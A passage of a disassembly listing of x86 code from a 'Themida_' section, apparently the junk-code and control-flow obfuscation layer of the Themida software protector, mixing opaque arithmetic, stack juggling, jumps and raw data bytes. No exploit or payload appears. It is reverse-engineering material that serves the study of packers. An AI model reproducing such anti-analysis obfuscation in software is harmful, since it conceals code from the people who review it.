; ---------------------------------------------------------------------------

loc_55ED6F:				; CODE XREF: Themida_:00553F14j
		mov	ebp, 37145EDCh
		sub	ebp, 0FFFFFFFFh
		push	ecx
		mov	ecx, 6A7C2CF9h
		jmp	loc_5582FA
; ---------------------------------------------------------------------------

loc_55ED85:				; CODE XREF: Themida_:005603F0j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 109E1189h
		add	ebx, 756827E6h
		inc	ebx
		and	ebx, 6DFA4378h
		xor	ebx, 79FB69DBh
		jmp	loc_5673F7
; ---------------------------------------------------------------------------
		db 68h,	0CAh, 64h
		dd 76E94983h, 8BFFFF6Eh, 0C4832404h, 5BC6804h, 2C890000h
		dd 1DE8BD24h, 0E5D16D36h, 0C105EDC1h, 814503E5h, 450108EDh
		dd 5AED81BAh, 814A4BE0h, 4A5CE6F5h, 81D5F701h, 0BF8E92EDh
		dd 8BEA01CCh, 0C481242Ch, 4, 621DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55EDF9:				; CODE XREF: Themida_:0055AB70j
		add	bl, 88h
		sub	al, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561298
; ---------------------------------------------------------------------------
		dd 0E908EFC1h, 0FFFFF8C6h
; ---------------------------------------------------------------------------

loc_55EE14:				; CODE XREF: Themida_:005602C5j
		and	eax, 29FE04E5h
		jmp	loc_55B929
; ---------------------------------------------------------------------------

loc_55EE1E:				; CODE XREF: Themida_:00554C44j
		add	eax, 4
		push	475Dh
		mov	[esp], ebp
		push	eax
		push	ecx
		mov	ecx, 136D3197h
		jmp	loc_55DE85
; ---------------------------------------------------------------------------
		db 0C1h
		dd 504E06E6h, 0E450FDB8h, 58C60918h, 3B71CE81h,	0EE81478Eh
		dd 364A4E1Bh, 0E95EF531h, 0FFFF7456h, 0AFE3E959h, 1C89FFFFh
		dd 8C7DE924h, 14F70000h, 4DDBE924h, 0EB810000h,	0CB13053h
		dd 5A42EB81h, 0DF3157E3h, 1423055Bh, 89521B3Fh,	4C281E2h
		dd 53000000h, 4BBh, 5BDA2900h, 2474FF52h, 14E95A04h, 83FFFF87h
		dd 1C8704C3h, 24248B24h, 6945BF57h, 0E7C123DDh,	52DFF702h
		dd 8A5AE8BAh, 5AD72970h, 0E95FFA01h, 0FFFF8186h
; ---------------------------------------------------------------------------

loc_55EEC4:				; CODE XREF: Themida_:00556663j
		xor	edi, ebx
		pop	ebx
		add	esi, edi
		pop	edi
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_557D2A
; ---------------------------------------------------------------------------
		db 4
aZH4		db 'Ï,ÔZ(Øh4|',0
		dw 8900h
		dd 98B3241Ch, 8904EC83h, 0B252240Ch, 94CA8082h,	0C005E2C0h
		dd 0F28008EAh, 0E9D58861h, 1843h, 71515935h, 16F4E93Dh
		dd 8B660000h, 5453240Ch, 0E957565Bh, 8174h
; ---------------------------------------------------------------------------

loc_55EF1C:				; CODE XREF: Themida_:0055A39Dj
		mov	eax, 729F474Bh
		sub	dword ptr [esp+4], 4FC42C9Dh
		add	dword ptr [esp+4], 60873C81h
		sub	[esp+4], eax
		jmp	loc_55F3E3
; ---------------------------------------------------------------------------
		dw 5158h
		dd 5D3A95B9h, 8BCD2118h, 0C481240Ch, 4,	0BB53DDF7h, 0FFBEEFF9h
		dd 0FF66CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EF59:				; CODE XREF: Themida_:0055A685j
		mov	edx, 24h
		add	edx, edi
		push	384Ch
		jmp	loc_55DA5B
; ---------------------------------------------------------------------------

loc_55EF6A:				; CODE XREF: Themida_:0055E794j
		add	esp, 4
		sub	ebp, 58CE0D44h
		sub	esi, 75AE77C4h
		add	esi, ebp
		push	edx
		jmp	loc_553388
; ---------------------------------------------------------------------------
		dd 4C4815Fh, 53000000h,	2BBh, 8BD90100h, 0C481241Ch, 4
		dd 31240C33h, 2E9240Ch,	5DFFFFD1h, 755168h, 240C8900h
		dd 4B9h, 0EBBE5600h, 0C1167C13h, 0D6F706EEh, 6564E953h
		dd 348B0000h, 0E1895124h, 4C181h, 0B8500000h, 0DE932B3h
		dd 0FFB59EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EFDD:				; CODE XREF: Themida_:00555588j
		pop	eax
		sub	eax, 33FA2A0Ch
		add	ecx, eax
		jmp	loc_55AAF0
; ---------------------------------------------------------------------------

loc_55EFEA:				; CODE XREF: Themida_:00562469j
		shr	eax, 12h
		xor	eax, ecx
		push	357Eh
		mov	[esp], eax
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		mov	eax, [esp]
		push	6714h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	esi, 15326825h
		or	esi, 2A9D2040h
		jmp	loc_5642CF
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 1Ch
		dd 0EF815C24h, 1E660A6Fh, 3979E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F036:				; CODE XREF: Themida_:00561C34j
		pop	eax
		push	edi
		push	6D1448E6h
		pop	edi
		push	ecx
		mov	ecx, 247F060Ah
		sub	ecx, 0FFFFFFFFh
		or	ecx, 31911A05h
		jmp	loc_56200F
; ---------------------------------------------------------------------------
		db 0B2h, 21h, 51h
		dd 88D08850h, 0CC8858C1h, 0FFF332E9h, 0ACB753FFh, 0E95BFA88h
		dd 0FFFFB39Bh
; ---------------------------------------------------------------------------

loc_55F070:				; CODE XREF: Themida_:0055F7AFj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5585C3
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F9B6
; ---------------------------------------------------------------------------

loc_55F08F:				; CODE XREF: Themida_:00557D2Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		xor	eax, esi
		xor	esi, eax
		jmp	loc_55E428
; ---------------------------------------------------------------------------

loc_55F0A4:				; CODE XREF: Themida_:00558FD0j
		add	ebp, 4
		add	ebp, 4
		push	92Ch
		mov	[esp], ebp
		jmp	loc_55DF70
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0E9241487h
		dd 0FFFF6B00h
; ---------------------------------------------------------------------------

loc_55F0D8:				; CODE XREF: Themida_:0055B841j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 28C76971h
		shr	esi, 1
		not	esi
		shr	esi, 5
		or	esi, 0CE25B59h
		sub	esi, 0FFEFB57h
		add	ebp, esi
		pop	esi
		jmp	loc_55E235
; ---------------------------------------------------------------------------

loc_55F102:				; CODE XREF: Themida_:00563A29j
		pop	edi
		jmp	loc_55AD84
; ---------------------------------------------------------------------------

loc_55F108:				; CODE XREF: Themida_:0055CFB0j
		mov	[esp], esi
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_5542EF
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 5A240C89h, 833DE959h, 0BE56FFFFh, 4,	557CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F12D:				; CODE XREF: Themida_:00556299j
		dec	ecx
		xor	ecx, 6D96650Ch
		add	edx, ecx
		jmp	loc_553A58
; ---------------------------------------------------------------------------
		db 59h
		dd 34FFD030h, 0C4835A24h, 10B25204h, 0F602EAC0h, 0A7CA80DAh
		dd 18B55153h, 0EB285BB3h, 0FFEB2CE9h, 0CBE958FFh, 0F600004Ch
		dd 33CB80D3h, 0E3EB80h,	0B3535BDDh, 5BDD28D9h, 0FFAE61E9h
		dd 58C501FFh, 4C581h, 2C870000h, 0A4E95C24h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F18B:				; CODE XREF: Themida_:0055D8C0j
		sub	ecx, 105F52FBh
		add	ecx, ebp
		jmp	loc_55A474
; ---------------------------------------------------------------------------
		dd 0C28017B2h, 8E2C07Ah, 0E916EA80h, 0FFFF381Eh, 7BCD815Eh
		dd 0E951A30Fh, 834h, 801C78BAh,	230BBE7Eh, 0D631536Bh
		dd 5EC1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F1C6:				; CODE XREF: Themida_:0056200Aj
		push	eax
		push	edx
		mov	edx, 74155957h
		mov	eax, 74155959h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 0FB84040h
		sub	ebx, eax
		push	edx
		jmp	loc_55ED3F
; ---------------------------------------------------------------------------

loc_55F1EB:				; CODE XREF: Themida_:loc_55309Bj
					; Themida_:005605DEj
		push	4179h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 56215329h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebp, 56215329h
		push	edx
		push	ebp
		push	0B41h
		mov	[esp], edi
		mov	edi, 57C95A30h
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55FC3E
; ---------------------------------------------------------------------------

loc_55F23B:				; CODE XREF: Themida_:005539C8j
		add	al, 7Ch
		jmp	loc_562727
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 514E4B14h, 824FE9h, 757EBB00h, 17BD7458h, 0E96D6542h
		dd 152h, 0E95DEA09h, 804Dh, 8124148Bh, 4C4h, 6FE95D00h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F273:				; CODE XREF: Themida_:005672DAj
		push	dx
		mov	dl, 0C5h
		mov	bl, dl
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_561D66
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0AEh
		dd 1661816h, 0AEC681C6h, 81661816h, 8F5255EEh, 24048B39h
		dd 6804C483h, 517Dh, 0BB241C89h, 2, 0EFE9DE01h,	0B9FFFF48h
		dd 55C6282Eh, 34FFCB29h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55B90A
; ---------------------------------------------------------------------------
		dd 7B1343BFh, 0AB08E91Fh, 0C201FFFFh, 7206BB53h, 0DA011CAEh
		dd 35CEE95Bh, 0C281FFFFh, 47E40AC8h, 2C9DE9h, 4D82800h
		dd 241C8B29h, 0E9E68956h, 0FFFF7A21h
; ---------------------------------------------------------------------------

loc_55F300:				; CODE XREF: Themida_:005583F8j
		mov	edx, esp
		add	edx, 4
		jmp	loc_55BF9B
; ---------------------------------------------------------------------------

loc_55F30D:				; CODE XREF: Themida_:0055D6CDj
		or	edi, 20816A27h
		xor	edi, 68883556h
		add	eax, edi
		pop	edi
		push	4E6Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5617CE
; ---------------------------------------------------------------------------

loc_55F331:				; CODE XREF: Themida_:0055948Fj
		mov	eax, ecx
		jmp	loc_55EC9D
; ---------------------------------------------------------------------------
		dd 8B240C87h, 10E92424h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F343:				; CODE XREF: Themida_:005539AFj
		mov	ebx, [esp]
		jmp	loc_558FF3
; ---------------------------------------------------------------------------

loc_55F34B:				; CODE XREF: Themida_:005651B8j
		mov	bl, 0C3h
		push	ecx
		jmp	loc_55929A
; ---------------------------------------------------------------------------
		db 30h
		dd 3CD1E9C3h, 0E089FFFFh, 0FFFDC1E9h, 22E955FFh, 8BFFFFA7h
		dd 0C483242Ch, 16882D04h, 0C80151ADh, 0AD168805h, 5F1D2D51h
		dd 34FF74F0h, 0EC835924h, 24348904h, 0D72AE954h, 5B54FFFFh
		dd 4C381h, 7E90000h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F39B:				; CODE XREF: Themida_:0056789Fj
		inc	eax
		or	eax, 52F060F1h
		sub	eax, 0AF2D1203h
		xor	edx, eax
		pop	eax
		jmp	loc_55D705
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 3BEFE497h, 8BE9DD31h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F3BB:				; CODE XREF: Themida_:00559D59j
		mov	[esp], ecx
		mov	ecx, 1
		push	eax
		push	ebp
		mov	ebp, 664D2F15h
		jmp	loc_553F6E
; ---------------------------------------------------------------------------

loc_55F3CF:				; CODE XREF: Themida_:0055D3DDj
		pop	edx
		push	esi
		mov	esi, 5D0978C9h
		xor	esi, 4137562Ch
		not	esi
		jmp	loc_56266B
; ---------------------------------------------------------------------------

loc_55F3E3:				; CODE XREF: Themida_:0055EF35j
		sub	dword ptr [esp+4], 60873C81h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4FC42C9Dh
		add	[esp+8], esi
		jmp	loc_565F37
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 0E9DD885Ah, 0FFFFF84Fh
; ---------------------------------------------------------------------------

loc_55F40C:				; CODE XREF: Themida_:00562D17j
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	6870h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_563801
; ---------------------------------------------------------------------------
		dd 48F28058h, 0D5004DB5h, 8324148Bh, 0E83004C4h, 240C8B66h
		dd 3002C483h, 0C0B60FC3h, 0E98734FFh, 0FFFF941Dh
; ---------------------------------------------------------------------------

loc_55F454:				; CODE XREF: Themida_:00554267j
		add	eax, 2041589Bh
		push	edi
		mov	edi, 47D83189h
		inc	edi
		inc	edi
		shl	edi, 4
		sub	edi, 0B6A314Bh
		xor	edi, 0F1C41517h
		sub	eax, edi
		jmp	loc_553C69
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BF8h, 4C481h, 0C5890000h, 3AE2E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F48A:				; CODE XREF: Themida_:0055E33Dj
					; Themida_:loc_564AB4j
		push	46Dh
		mov	[esp], eax
		mov	eax, esp
		push	53A6h
		jmp	loc_562384
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 21F3BD24h, 0EF015120h, 4BE9575Dh
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F4AF:				; CODE XREF: Themida_:00555FC0j
		push	ecx
		mov	ecx, esp
		jmp	loc_55FD0A
; ---------------------------------------------------------------------------
		db 81h
		dd 0A677E8E1h, 4BB8503Eh, 2D709625h, 5DF3C07Fh,	0E958C131h
		dd 5100h
; ---------------------------------------------------------------------------

loc_55F4D0:				; CODE XREF: Themida_:0055B9CDj
		sub	ecx, esi
		jmp	loc_567718
; ---------------------------------------------------------------------------
		db 81h
		dd 857D82C2h, 243C8B54h, 8104C483h, 404008EAh, 81DA2954h
		dd 404008C2h, 1B87E954h, 24890000h, 24048124h, 4, 0E089505Bh
		dd 405h, 4E88300h, 5C240487h, 0BE243489h, 0D545854h, 0E904EC83h
		dd 0FFFF3EF8h, 2404FF55h, 15F5815Dh, 55943286h,	66242C81h
		dd 590DD930h, 286BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F539:				; CODE XREF: Themida_:005576A7j
		and	edx, 7D1847FAh
		xor	edx, 4C8E6B6Dh
		or	edx, 14FC5768h
		neg	edx
		xor	edx, 0A39435A4h
		add	edx, esi
		pop	esi
		add	edx, 4F621573h
		neg	edx
		neg	edx
		add	edx, 5ECC425Ah
		neg	edx
		push	eax
		mov	eax, 1BD73253h
		dec	eax
		shl	eax, 4
		xor	eax, 26151CDAh
		or	eax, 1E3D6087h
		jmp	loc_55D534
; ---------------------------------------------------------------------------

loc_55F581:				; CODE XREF: Themida_:0055D967j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		jmp	loc_557E6E
; ---------------------------------------------------------------------------

loc_55F5A1:				; CODE XREF: Themida_:0055D85Aj
		sub	ch, 0CBh
		sub	ch, dl
		push	ax
		mov	ah, 0CBh
		add	ch, ah
		pop	ax
		mov	dx, [esp]
		jmp	loc_556B26
; ---------------------------------------------------------------------------

loc_55F5B7:				; CODE XREF: Themida_:00562FDCj
		add	esp, 4
		add	eax, 4
		jmp	loc_55FAB0
; ---------------------------------------------------------------------------

loc_55F5C7:				; CODE XREF: Themida_:00555547j
		and	edx, ecx
		pop	ecx
		shl	edx, 7
		jmp	loc_563EF0
; ---------------------------------------------------------------------------

loc_55F5D2:				; CODE XREF: Themida_:00559EE2j
		push	esp
		jmp	loc_564165
; ---------------------------------------------------------------------------
		dd 4C481h, 0D0310000h, 4EC835Ah, 0BD242C89h, 6DD90FE7h
		dd 2D7BED81h, 0BEE9106Ah
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F5F7:				; CODE XREF: Themida_:00554F8Cj
		mov	ebp, 0E781E3Ch
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_55301E
; ---------------------------------------------------------------------------

loc_55F606:				; CODE XREF: Themida_:00566813j
		xor	edx, 27B92D37h
		or	edx, 1010882h
		jmp	loc_55A33F
; ---------------------------------------------------------------------------

loc_55F617:				; CODE XREF: Themida_:005623D3j
		mov	[esp], ebx
		push	ebp
		mov	ebp, 26C437D6h
		mov	ebx, 0D93BC82Eh
		add	ebx, ebp
		pop	ebp
		add	eax, 20E6035Eh
		add	eax, ebx
		sub	eax, 20E6035Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A98A
; ---------------------------------------------------------------------------

loc_55F63F:				; CODE XREF: Themida_:0055BA27j
		jz	loc_555FAD
		push	66D5h
		jmp	loc_555693
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 240C8B00h, 8104C483h, 4ECh, 2FF1E900h
		dd 0F3810000h, 1EB411D0h, 0FFA818E9h, 3184E9FFh, 8758FFFFh
		dd 535C2434h, 107168h, 24348900h, 0FD167768h, 2434FF51h
		dd 4C4835Eh, 0FF7E3CE9h, 565E5BFFh, 4B1B54BEh, 2C30B932h
		dd 0C181A781h, 6A927FB1h, 9F68F129h, 89000021h,	0E9552404h
		dd 3F5Bh
; ---------------------------------------------------------------------------

loc_55F6BC:				; CODE XREF: Themida_:00561F9Fj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55611D
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0FFBF02E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F6ED:				; CODE XREF: Themida_:0055AB16j
		add	esp, 4
		add	esp, 4
		jmp	loc_5591BF
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 0AEB8505Bh, 212AFF7Eh, 1FE958C1h, 25000033h,	72AC32C9h
		dd 0E904EC83h, 0FFFFD1B6h, 448768h, 24048900h, 0FF30D5E9h
		dd 242C89FFh, 75E9B850h, 0E72D67B1h, 5067B175h,	8E242C81h
		dd 0E952A245h, 5590h, 8058E530h, 0EB88BEEDh, 5444E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F751:				; CODE XREF: Themida_:0055C925j
		sub	ecx, 587B06D1h
		xor	ecx, 7A034B3h
		push	edx
		mov	edx, 76B53298h
		or	ecx, edx
		pop	edx
		push	6D87h
		mov	[esp], ebx
		jmp	loc_55CAF9
; ---------------------------------------------------------------------------

loc_55F773:				; CODE XREF: Themida_:0055BBAEj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 727656A3h
		add	edx, esi
		pop	esi
		xor	edx, 4ACCB61Dh
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		push	ebx
		jmp	loc_557D4A
; ---------------------------------------------------------------------------

loc_55F7A8:				; CODE XREF: Themida_:00555044j
		mov	eax, esp
		add	eax, 4
		jmp	loc_55F070
; ---------------------------------------------------------------------------
		dd 4C481h, 34870000h, 24248B24h, 765C68h, 24348900h, 13F768h
		dd 243C8900h, 57771468h, 38BE5F65h, 81A414D4h, 0DB3251C6h
		dd 81FE0165h, 0DB3251EEh, 3D9BE965h, 0EC830000h, 240C8904h
		dd 8904EC83h, 58592404h, 248DC981h, 0EC8352B6h,	242C8904h
		dd 627327BDh, 2E5C154h,	72A1BE56h, 0F68101AFh, 0EECAF0DEh
		dd 0F8E9F501h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F823:				; CODE XREF: Themida_:0055E6C6j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 1DF15B83h
		or	eax, 2DA0286Fh
		jmp	loc_555F1E
; ---------------------------------------------------------------------------

loc_55F842:				; CODE XREF: Themida_:0055642Ej
		and	ebx, 734E5DC6h
		push	ebp
		mov	ebp, 741A5143h
		sub	ebp, 756D1328h
		dec	ebp
		shl	ebp, 6
		or	ebp, 3E0E4245h
		and	ebp, 940D1Ah
		xor	ebp, 7348DDC0h
		xor	ebx, ebp
		pop	ebp
		mov	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 20034051h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 20034051h
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		jmp	loc_55DA8B
; ---------------------------------------------------------------------------
		dw 0E921h
		dd 8BB0E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F8A2:				; CODE XREF: Themida_:00567991j
		add	edi, 0E2F39A48h
		add	ebp, edi
		jmp	loc_566A8F
; ---------------------------------------------------------------------------
		db 66h
		dd 665FF931h, 5598F181h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5537EB
; ---------------------------------------------------------------------------

loc_55F8C0:				; CODE XREF: Themida_:0055799Aj
		pop	edi
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_55A85E
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5650C8
; ---------------------------------------------------------------------------
		dw 8768h
		dd 89000019h, 77B82404h, 53117B09h, 46143BBBh, 3AA5682Eh
		dd 71E90000h, 81FFFF58h, 0DE74B5C1h, 66E9813Fh,	892F3520h
		dd 0AC0559C8h, 0E91AB661h, 0FFFF8F0Ch
; ---------------------------------------------------------------------------

loc_55F91C:				; CODE XREF: Themida_:00555979j
		pop	esp
		mov	[esp], ebx
		push	edx
		push	eax
		mov	al, 0Eh
		push	ebx
		mov	bl, al
		mov	dh, bl
		pop	ebx
		pop	eax
		jmp	loc_564F6B
; ---------------------------------------------------------------------------
		dd 241C8B58h, 4C481h, 52500000h, 0E011A68h, 0CA815A6Bh
		dd 198C74D2h, 3FF281h, 81521F7Eh, 66D12434h, 73E92042h
		dd 58FFFFA6h, 0FFB591E9h, 575A54FFh, 4BFh, 5FFA0100h, 8704C283h
		dd 15C2414h, 45E959CFh,	8100006Ch, 0C6B31F6h, 8DE9462Ch
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F987:				; CODE XREF: Themida_:005663A5j
		sub	eax, esi
		sub	eax, 2AD85555h
		pop	esi
		add	eax, 41957078h
		push	ebx
		push	10BC5197h
		pop	ebx
		shl	ebx, 4
		add	ebx, 49C108E7h
		jmp	loc_55B32D
; ---------------------------------------------------------------------------
		db 1, 0D5h, 5Ah
aZQs		db '‡,$\QéÒ\',0
		align 2

loc_55F9B6:				; CODE XREF: Themida_:0055F08Aj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556C3E
; ---------------------------------------------------------------------------

loc_55F9BF:				; CODE XREF: Themida_:005554EEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_567BBD
; ---------------------------------------------------------------------------
		dd 0E958C300h, 0FFFF8C3Eh, 0E95DEA89h, 0FFFF78D8h, 5DBBB53h
		dd 0E3810D8Eh, 2A1D7CFAh, 90ACB81h, 1DE9445Dh, 89FFFF88h
		dd 0D822E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FA06:				; CODE XREF: Themida_:00554195j
		inc	ebp
		or	ebp, 0C637B76h
		sub	ebp, 1
		jmp	loc_5665F3
; ---------------------------------------------------------------------------

loc_55FA18:				; CODE XREF: Themida_:00561784j
		pop	esp
		mov	[esp], ecx
		mov	ch, 0B6h
		neg	ch
		not	ch
		push	ax
		mov	ah, 62h
		add	ch, ah
		pop	ax
		push	cx
		mov	ch, 0F5h
		jmp	loc_55A894
; ---------------------------------------------------------------------------

loc_55FA33:				; CODE XREF: Themida_:00558DB6j
		push	ebx
		mov	ebx, 382E5DF9h
		jmp	loc_559A1E
; ---------------------------------------------------------------------------
		dw 2858h
		dd 0E95A66F0h, 0F85h, 0EA81FA01h, 34E20CD2h, 0FFF665E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FA55:				; CODE XREF: Themida_:00553FC8j
		push	edx
		push	esi
		mov	esi, 7AED1F17h
		or	esi, 11357FFCh
		shl	esi, 8
		add	esi, 68D63703h
		jmp	loc_564E3C
; ---------------------------------------------------------------------------

loc_55FA70:				; CODE XREF: Themida_:005614BAj
		xor	ah, 0D9h
		sub	bl, ah
		jmp	loc_554D3A
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0D1F1F2Fh, 21A5EF81h, 0C781176Fh, 0C48600D8h, 815FF901h
		dd 4C1h, 240C8700h, 5324248Bh, 0C381E389h, 4, 8704C383h
		dd 0E95C241Ch, 40C5h
; ---------------------------------------------------------------------------

loc_55FAB0:				; CODE XREF: Themida_:0055F5C2j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5EBEh
		jmp	loc_556892
; ---------------------------------------------------------------------------
		dw 6855h
		dd 2, 8BEF015Dh, 0C481242Ch, 4,	0FFCC2BE9h, 243C89FFh
		dd 0B7102ABFh, 4A97E911h, 5AB50000h, 0EF3074B7h, 0FF8419E9h
		dd 4EC83FFh, 0FFFC2CE9h, 0F4C381FFh, 29F2DBF6h,	241C8BDEh
		dd 4C481h, 0E6C10000h, 6EE95007h, 5000006Fh, 907078B8h
		dd 58C32969h, 1C8BDE01h, 0E7895724h, 4C781h, 46E90000h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB33:				; CODE XREF: Themida_:0055690Cj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55B8EB
; ---------------------------------------------------------------------------

loc_55FB3F:				; CODE XREF: Themida_:0055A8C4j
		push	ebx
		push	edx
		mov	edx, 301B6A2Ah
		dec	edx
		push	eax
		mov	eax, 48B354D7h
		or	edx, eax
		pop	eax
		shr	edx, 4
		push	ebx
		mov	ebx, 56117069h
		add	edx, ebx
		jmp	loc_56312D
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 71B7h, 7204E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB6E:				; CODE XREF: Themida_:00565129j
		push	esi
		mov	esi, 57A92ABEh
		jmp	loc_566CC7
; ---------------------------------------------------------------------------
		db 0FEh, 0CEh, 80h
		dd 0F680F7EEh, 0FDF6805Eh, 8053EE80h, 15E9CEC6h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB8F:				; CODE XREF: Themida_:005598B7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_55DF23
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 81000000h, 921643C6h, 0E9D6017Ah, 3EBCh, 5B66DA28h
		dd 0E96AC280h, 0FFFF7B28h
; ---------------------------------------------------------------------------

loc_55FBBC:				; CODE XREF: Themida_:00566D1Aj
		mov	esi, 1B26Ch
		jmp	loc_566EE6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5F545704h, 4C781h, 0C7810000h, 4, 0E9243C87h, 0FFFF32B3h
		dd 52F8685Ah, 2C890000h, 8081E924h, 815BFFFFh, 6B7743C1h
		dd 4F1BE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FBFA:				; CODE XREF: Themida_:005663CAj
		add	esp, 4
		add	ebx, 6D093D5Eh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558BD8
; ---------------------------------------------------------------------------

loc_55FC14:				; CODE XREF: Themida_:00566C78j
		mov	[esp], ebp
		push	edx
		push	8D9h
		mov	[esp], esi
		mov	esi, 1DBE31F6h
		xor	esi, 153E6709h
		sub	esi, 88056FBh
		push	esi
		add	dword ptr [esp], 14F20D29h
		jmp	loc_55ACEF
; ---------------------------------------------------------------------------

loc_55FC3E:				; CODE XREF: Themida_:0055F236j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 3EBE488Ah
		add	eax, 190B11A6h
		add	edx, eax
		jmp	loc_556EF9
; ---------------------------------------------------------------------------
		db 0Dh,	0C4h, 5Dh
		dd 0BA52640Eh, 2E188Ch,	0C106E2C1h, 0F28104E2h,	0CDACEFCBh
